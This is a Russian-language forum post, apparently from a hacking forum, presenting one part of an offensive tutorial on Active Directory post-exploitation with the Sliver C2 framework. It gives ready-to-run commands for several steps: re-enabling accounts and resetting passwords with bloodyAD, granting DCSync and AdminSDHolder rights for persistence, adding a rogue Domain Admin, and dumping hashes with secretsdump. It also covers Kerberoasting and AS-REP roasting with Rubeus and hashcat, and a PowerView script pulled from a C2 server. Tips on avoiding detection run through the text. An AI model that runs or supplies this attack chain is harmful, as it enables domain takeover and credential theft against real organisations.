Щепка в кибервойне – Kerberoasting и злоупотребление DACL

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, кибервоины!

В этой части серии мы продолжаем изучать возможности Sliver и вспомогательные инструменты, используемые для пост-эксплуатации и злоупотреблений Active Directory (AD). В предыдущем разделе мы рассмотрели горизонтальное перемещение и способы объединения скомпрометированных хостов для укрепления позиций в сети. Сегодня мы сосредоточимся на злоупотреблении дискреционными списками контроля доступа (DACL), включая такие методы, как Kerberoasting, DCSync, манипуляция AdminSDHolder и сохранение на основе DACL. В этой главе особое внимание будет уделено таким инструментам, как Rubeus, BloodyAD, SharpHound и BloodHound.

Понимание DACL

Список дискреционного управления доступом (DACL) — это компонент дескриптора безопасности объекта Active Directory, который определяет, кто может выполнять те или иные действия с объектом. Каждое разрешение представлено записью управления доступом (ACE). Например, разрешения могут позволять пользователю сбрасывать пароли, удалять объекты или изменять сам список доступа.

Злоупотребление DACL подразумевает использование чрезмерно разрешительных или неправильно настроенных записей ACE, таких как GenericAll (полный доступ), WriteDACL (изменение прав), WriteOwner (смена владельца) или AllExtendedRights (например, права сброса пароля). Эти разрешения могут допускать несанкционированное повышение привилегий, горизонтальную миграцию или сохранение в пределах домена, часто без необходимости использования административных учётных данных или активации оповещений.

Этот метод часто упускают из виду, поскольку такие разрешения могут быть унаследованы или делегированы, создавая впечатление, что они легитимны. Кроме того, если не используется специальный аудит изменений в ACL, эти изменения, как правило, оставляют минимальные следы.

Сбор данных рекламы с помощью SharpHound

SharpHound — это компонент сбора данных для BloodHound. При запуске в системе, подключенной к домену, он собирает широкий спектр данных: сведения о членстве пользователей и групп, информацию о сеансах, списки контроля доступа (ACL), доверительные отношения и сопоставления локальных администраторов.

Примеры команд для интегрированной в Sliver коллекции BloodHound:

sliver (session) > sharp-hound-3 -- -c All --zipfilename target

запуск шарохунда версии 3 с серебристым

Для более новых версий BloodHound:

sliver (session) > sharp-hound-4 -- -c All --zipfilename target_v4

работает Sharphound версии 4 с Sliver

Загрузите полученный архив в BloodHound. Время обработки зависит от размера и сложности домена.

Визуализация связей AD с помощью BloodHound

После обработки данных BloodHound позволяет провести углубленное исследование взаимосвязей Active Directory и потенциальных путей атак.

Просмотр объектов

Найдите конкретных пользователей или группы, чтобы изучить их права доступа и управление. Даже пользователи с низкими привилегиями могут быть важны, если в настройках есть ошибки.

После нажатия на значок пользователя вы увидите полный список ценной информации, такой как соединения RDP, привилегии DCOM, SQL и права локального администратора.

просмотр информации о пользователе с помощью Bloodhound

Контроль исходящих объектов

Эта метрика отражает, на сколько объектов AD пользователь может влиять через прямые или унаследованные записи ACE, что полезно для определения путей повышения привилегий.

просмотр прав dcsync в домене с помощью bloodhound

Транзитивное управление объектами

Пользователь может не контролировать важные цели напрямую, но через цепочку ошибочных настроек всё равно может оказывать влияние. BloodHound вычисляет эти косвенные пути, помогая выявлять потенциальные векторы эскалации.

просмотр управления транзитивными объектами с помощью Bloodhound

Злоупотребление через модификацию DACL

Чтобы сохранить долгосрочный доступ или повысить привилегии, злоумышленники могут изменять DACL с помощью таких инструментов, как BloodyAD.

Повторное включение отключенных учетных записей

Вместо создания новых учётных записей (что может быть подозрительно) злоумышленники могут повторно активировать уже существующих, но отключённых пользователей. Например:

c2 > pip3 install bloodyad

установка bloodyAD на Ubuntu

c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password remove uac nika -f ACCOUNTDISABLE

c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set password nika “P@ssw0rd123!”


После этого мы тестируем аккаунт Ники:

c2 > proxychains nxc smb 192.168.2.47 -u nika -p “P@ssw0rd123!”

принудительное создание нового пароля и включение учетной записи с помощью bloodyAD

И это сработало! Теперь мы управляем учётной записью nika, которой будут назначены новые разрешения в домене. Обратите внимание, что эти команды можно выполнять и с NTLM-хешем.

Если доступен только NTLM-хэш:

c2 > proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p :NTLMhash set password nika “P@ssw0rd123!”

Назначение чрезмерных прав

DCSync — это атака, которая позволяет скомпрометированной учетной записи выдавать себя за контроллер домена и запрашивать данные репликации каталога, включая хэши паролей пользователей (например, KRBTGT или Administrator), используя законную функцию удаленного протокола службы репликации каталогов.

Вот как выглядит результат этой атаки. В некоторых случаях, благодаря сложной структуре домена, вам может повезти, если удастся получить учётные данные в открытом виде.

dcsync при включенном обратимом шифровании

Объект AdminSDHolder определяет шаблон ACL, применяемый к защищённым объектам AD, таким как «Администраторы домена» и «Администраторы предприятия», который регулярно (каждые 60 минут) повторно применяется службой SDProp. Если у злоумышленника есть разрешение GenericAll для объекта AdminSDHolder, он может фактически предоставить полный контроль над всеми привилегированными учётными записями в домене. Поскольку SDProp автоматически распространяет этот ACL на каждую защищённую учётную запись, любые вредоносные права, добавленные к AdminSDHolder, сохраняются, даже если впоследствии удалены вручную.

Теперь мы готовы назначить необходимые права контролируемым нами аккаунтам:

c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add dcsync galina

c2 > proxychains4 bloodyAD --host SERV-DC1 -u admin -p password add genericAll "CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=RU" galina


добавление прав AdminSDHolder и DCSync для сохранения dacl с помощью bloodyAD

Восстановление доступа через сохранение

Если вас поймают во время бокового перемещения или администратор решит сменить пароль, вот как вы сможете восстановить свой доступ, используя сохранение DACL.

Добавьте нового администратора домена:

c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password add groupMember 'Domain Admins' fakeadmin

Принудительно установите новый пароль для администратора домена:

c2 > proxychains4 bloodyAD --host SERV-DC1 -u galina -p password set password admin “P@ssw0rd”

Извлечение учетных данных с помощью DCSync с использованием пароля:

c2 &gt; proxychains4 secretsdump.py <strong>domain.ru/galina:P@ssw0rd@dc-ip</strong>

Извлечение учетных данных с помощью DCSync с использованием хэша:

c2 &gt; proxychains4 secretsdump.py domain.ru/galina@dc-ip -hashes :NTLMhash

Полную документацию по BloodyAD можно найти:

https://github.com/CravateRouge/bloodyAD/wiki/User-Guide

Кербероатинг

Kerberoasting — это метод, используемый хакерами после получения доступа к любой учётной записи пользователя домена. Он позволяет злоумышленнику запросить билет службы Kerberos для учётной записи службы в Active Directory, поскольку это может сделать любой легитимный пользователь. Этот билет шифруется с использованием хеша пароля учётной записи службы. Злоумышленник переносит зашифрованный билет в автономный режим и использует такие инструменты, как Hashcat или John the Ripper, чтобы взломать его и восстановить настоящий пароль. Получив пароль, он может войти в систему, используя эту учётную запись службы, и получить доступ к сети, который она предоставляет.
Чтобы найти учётную запись Kerberoastable в BloodHound, нажмите « Список всех учётных записей Kerberoastable » или « Найти участников Kerberoastable групп High Value ».

просмотр аккаунтов, подверженных атакам Kerberoastable, с помощью Bloodhound

Обнаружение командной строки с помощью Sliver и PowerView:

c2 &gt; echo “Get-NetUser -spn | select samaccountname,description” | base64

преобразование запроса PowerView в base64

<strong>sliver (session) &gt; sharpsh -- '-u http://c2:8000/PowerView.ps1 -e -c “BASE64”'</strong><br>

запуск Powerview в Sliver для вывода списка пользователей, поддерживающих Kerberoastable

В ограниченной среде используйте собственные команды:

PS &gt; setspn.exe -Q */*

использование setspn.exe для просмотра пользователей, поддерживающих Kerberos, в строгой среде

В BloodHound вы можете увидеть, что у нас есть три администратора домена, уязвимых для Kerberoasting.

Представьте себе ситуацию, когда вы скомпрометировали пользователя с помощью GenericAll в службе поддержки, но у него нет тех же прав, что и у службы поддержки. Вы можете попытаться принудительно установить новые пароли или добавить нового пользователя, но это довольно шумные атаки, и мы не рекомендуем этого делать. Вместо этого давайте назначим SPN сотруднику службы поддержки и попробуем взломать его хеш в офлайн-режиме.

Назначьте SPN:

c2 &gt; proxychains4 -q bloodyAD --host SERV-DC1 -u admin -p password set object redkin servicePrincipalName -v http/SERV-1C.DOMAIN.RU

назначение SPN с помощью bloodyAD

Затем поджарьте аккаунт:

sliver (session) &gt; c2tc-kerberoast roast redkin

керберожаривание пользователя с помощью щепки

Скопируйте этот хеш в файл и конвертируйте его в формат Hashcat.

c2 &gt; nano redkin_convert_kerberos.txtc2 &gt; python3 <strong>TicketToHashcat.py</strong> redkin_convert_kerberos.txt

преобразование билета Kerberos в формат Hascat

Или обжарьте с помощью Rubeus, используя формат hashcat:

sliver (session) &gt; inline-execute-assembly /root/tools/Rubeus.exe 'kerberoast /user:admin /format:hashcat /nowrap'

Получив тикет, вы можете приступить к его взлому с помощью hashcat, в зависимости от выбранного формата шифрования. В нашем случае это был 23, то есть RC4 (-m 13100):

c2 &gt; hashcat -m 13100 hash.txt wordlist.txt&nbsp; # For RC4 encryption

Обжарка AS-REP

AS-REP Roasting — это атака Kerberos, нацеленная на учётные записи пользователей в Active Directory, у которых отключена предварительная аутентификация Kerberos. В обычных условиях, когда пользователь запрашивает билет на получение билета (TGT), он должен подтвердить свою личность, зашифровав временную метку с помощью хеша пароля, что является предварительной аутентификацией. Если эта проверка отключена для учётной записи, злоумышленник может отправить AS-REQ для этой учётной записи, не зная пароля, и контроллер домена ответит сообщением AS-REP, содержащим данные, зашифрованные с помощью хеша пароля пользователя. После восстановления пароля вы сможете войти в систему под этим пользователем и повысить привилегии, перейти на более высокий уровень или поддерживать персистентность, не вызывая тревог. Этот метод очень эффективен в средах со слабыми политиками паролей или неправильно настроенными настройками Kerberos.

Вы можете найти пользователей, уязвимых для этой атаки в BloodHound, выбрав « Найти пользователей, подверженных атаке AS-REP (DontReqPreAuth) ».

какрепроастабельный вариант в бладхаунде

Вот как можно обратиться к пользователю с помощью DontReqPreAuth :

sliver (session) &gt; inline-execute-assembly /root/tools/Rubeus.exe 'asreproast /format:hashcat /user:bob /nowrap'

как повторное объявление администратора домена

Взломайте полученный хеш, используя режим Hashcat 18200 (шифрование AES):

c2 &gt; hashcat -m 18200 hash.txt wordlist.txt

Краткое содержание

Неправильно настроенные списки DACL и слабые настройки Kerberos превращают обычные функции домена в мощные пути атак: злоумышленники могут злоупотреблять разрешениями (GenericAll, WriteDACL, AdminSDHolder) и использовать DCSync для кражи хэшей, а также запускать Kerberoasting и AS-REP для взлома сервисов и учётных записей с предварительно отключённой авторизацией в автономном режиме. В сочетании со сбором и сопоставлением данных (SharpHound/BloodHound), BloodyAD и Rubeus эти методы позволяют повышать привилегии, сохраняться и незаметно продвигаться по сети. Защитникам необходимо строго соблюдать гигиену ACL, ротировать и укреплять учётные записи сервисов, применять передовые практики Kerberos и проводить аудит изменений ACL, чтобы предотвратить устойчивую компрометацию.
 
Назад
Сверху Снизу